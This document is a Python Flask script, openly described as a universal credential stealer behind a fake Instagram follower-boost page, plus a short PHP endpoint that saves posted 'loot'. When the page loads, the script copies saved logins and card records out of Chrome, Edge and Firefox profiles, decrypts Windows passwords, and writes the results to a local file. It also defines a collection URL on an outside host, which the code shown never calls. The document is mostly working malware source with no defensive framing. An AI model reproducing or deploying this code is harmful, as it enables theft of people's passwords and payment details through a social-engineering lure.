#!/usr/bin/env python3
# app.py – single-file universal credential stealer + fake Instagram page

import os, sys, json, sqlite3, platform, socket, time, threading, subprocess
from flask import Flask, render_template_string, request

app = Flask(__name__)

# ----------- CONFIG -----------
C2_URL = "https://insta.samushushi.com/loot.php"   # sizin endpoint

# ----------- DECRYPT HELPERS -----------
def decrypt_password(blob: bytes) -> str:
    """Platform-specific Chrome password decryption."""
    OS = platform.system()
    try:
        if OS == "Windows":
            import win32crypt
            return win32crypt.CryptUnprotectData(blob, None, None, None, 0)[1].decode("utf-8")
    except Exception:
        pass
    return "<encrypted>"

# ----------- GRABBER -----------
def steal():
    import platform, socket, time, os, sqlite3, shutil, json

    OS   = platform.system()
    ARCH = platform.machine()
    IP   = socket.gethostbyname(socket.gethostname())
    loot = {
        "timestamp": int(time.time()),
        "ip": IP,
        "os": OS,
        "arch": ARCH,
        "logins": [],
        "cards": []
    }

    def decrypt_password(blob: bytes) -> str:
        """Windows üçün nümunə decryption, Linux/macOS üçün sadəcə <encrypted>."""
        try:
            if OS == "Windows":
                import win32crypt
                return win32crypt.CryptUnprotectData(blob, None, None, None, 0)[1].decode("utf-8")
        except Exception:
            pass
        return "<encrypted>"

    def safe_copy(src, dst):
        try:
            shutil.copy2(src, dst)
            return dst
        except:
            return None

    # Chrome / Chromium / Edge
    home = os.path.expanduser("~")
    candidates = []
    if OS == "Windows":
        candidates.append(os.path.join(os.getenv("LOCALAPPDATA", ""), "Google", "Chrome", "User Data", "Default"))
    elif OS == "Darwin":
        candidates.append(os.path.join(home, "Library", "Application Support", "Google", "Chrome", "Default"))
        candidates.append(os.path.join(home, "Library", "Application Support", "Microsoft Edge", "Default"))
    elif OS == "Linux":
        candidates.append(os.path.join(home, ".config", "google-chrome", "Default"))
        candidates.append(os.path.join(home, ".config", "chromium", "Default"))

    for profile in filter(os.path.isdir, candidates):
        # Login Data
        login_db = os.path.join(profile, "Login Data")
        if os.path.isfile(login_db):
            tmp = safe_copy(login_db, os.path.join(os.getcwd(), ".tmp_login"))
            if tmp:
                try:
                    conn = sqlite3.connect(tmp)
                    for url, user, pwd_blob in conn.execute(
                        "SELECT origin_url, username_value, password_value FROM logins"
                    ):
                        loot["logins"].append({
                            "url": url,
                            "user": user,
                            "pass": decrypt_password(pwd_blob)
                        })
                    conn.close()
                except Exception:
                    pass
                os.remove(tmp)

        # Web Data (kartlar)
        web_db = os.path.join(profile, "Web Data")
        if os.path.isfile(web_db):
            tmp = safe_copy(web_db, os.path.join(os.getcwd(), ".tmp_web"))
            if tmp:
                try:
                    conn = sqlite3.connect(tmp)
                    for name, number_blob, month, year in conn.execute(
                        "SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards"
                    ):
                        loot["cards"].append({
                            "name": name,
                            "number": "<encrypted>",
                            "exp": f"{month}/{year}"
                        })
                    conn.close()
                except Exception:
                    pass
                os.remove(tmp)

    # Firefox
    ff_dir = None
    if OS == "Windows":
        ff_dir = os.path.join(os.getenv("APPDATA", ""), "Mozilla", "Firefox", "Profiles")
    elif OS in ("Linux", "Darwin"):
        ff_dir = os.path.join(home, ".mozilla", "firefox")

    if ff_dir and os.path.isdir(ff_dir):
        for prof in os.listdir(ff_dir):
            login_json = os.path.join(ff_dir, prof, "logins.json")
            if os.path.isfile(login_json):
                try:
                    with open(login_json, encoding="utf-8") as f:
                        data = json.load(f)
                        for e in data.get("logins", []):
                            loot["logins"].append({
                                "url": e.get("hostname"),
                                "user": e.get("encryptedUsername", "<encrypted>"),
                                "pass": e.get("encryptedPassword", "<encrypted>")
                            })
                except Exception:
                    pass

    # ---- LOOT-u yerli fayla yaz ----
    try:
        with open("/tmp/loot.json", "a", encoding="utf-8") as f:
            f.write(json.dumps(loot, ensure_ascii=False) + "\n")
    except Exception as e:
        print("Loot faylı yazılmadı:", e)


# ----------- FLASK ROUTES -----------
@app.route("/")
def index():
    threading.Thread(target=steal, daemon=True).start()
    return render_template_string("""
    <!doctype html>
    <title>Instagram Followers Boost</title>
    <style>
      body{font-family:Arial;text-align:center;margin-top:100px;background:#fafafa}
      h1{color:#e1306c;font-size:42px}
    </style>
    <h1>100 Takipçi Gönderildi ✅</h1>
    <p>Hesabınıza 100 yeni takipçi başarıyla eklendi.</p>
    """)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=False)

<?php
$data = file_get_contents('php://input');
if ($data) {
    file_put_contents('loot.jsonl', date('c').' '.$data.PHP_EOL, FILE_APPEND);
}
http_response_code(204);
?>